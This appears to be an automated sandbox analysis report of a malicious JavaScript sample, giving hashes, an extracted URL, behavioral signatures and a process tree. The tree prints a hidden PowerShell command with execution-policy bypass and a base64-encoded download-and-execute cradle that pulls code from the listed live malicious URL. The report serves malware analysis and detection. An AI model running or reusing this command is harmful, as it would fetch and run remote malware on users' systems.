Analysis
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max time kernel
147s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
04-01-2024 22:47
Static task
static1
Behavioral task
behavioral1
Sample
421bd11283643c4e52bf1400632d4af9.js
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
421bd11283643c4e52bf1400632d4af9.js
Resource
win10v2004-20231222-en
General
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Target
421bd11283643c4e52bf1400632d4af9.js
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Size
220KB
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MD5
421bd11283643c4e52bf1400632d4af9
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SHA1
a3b3b9eafe361104c0ffc65fa95c28271db4dbd5
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SHA256
aba892549c2411d2bd6d246d60458a8d12ee74c3f71503c26555b545cb068d91
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SHA512
bc1801634ec610da0ba24771a9a9575228cbe2f35c47b03d22ff7cfbcd511a3ce96b819897efee42fa87d107d4b9debe4842e93f95c63bb21724aa2d2a428404
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SSDEEP
6144:2kpu3BdD+cHjQnKBam64bkwzPbb+F82p26bXQWH0EASGRwEol:2kpu3BdD+cHjQnKBam64NPcDsEjDl
Malware Config
Extracted
http://grupotopbem.com.br/ashkere.php
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 9 3788 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3788 powershell.exe 3788 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3788 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2992 wrote to memory of 2312 2992 wscript.exe 27 PID 2992 wrote to memory of 2312 2992 wscript.exe 27 PID 2312 wrote to memory of 3788 2312 cmd.exe 25 PID 2312 wrote to memory of 3788 2312 cmd.exe 25
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\421bd11283643c4e52bf1400632d4af9.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2992 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==2⤵
- Suspicious use of WriteProcessMemory
PID:2312
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3788
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82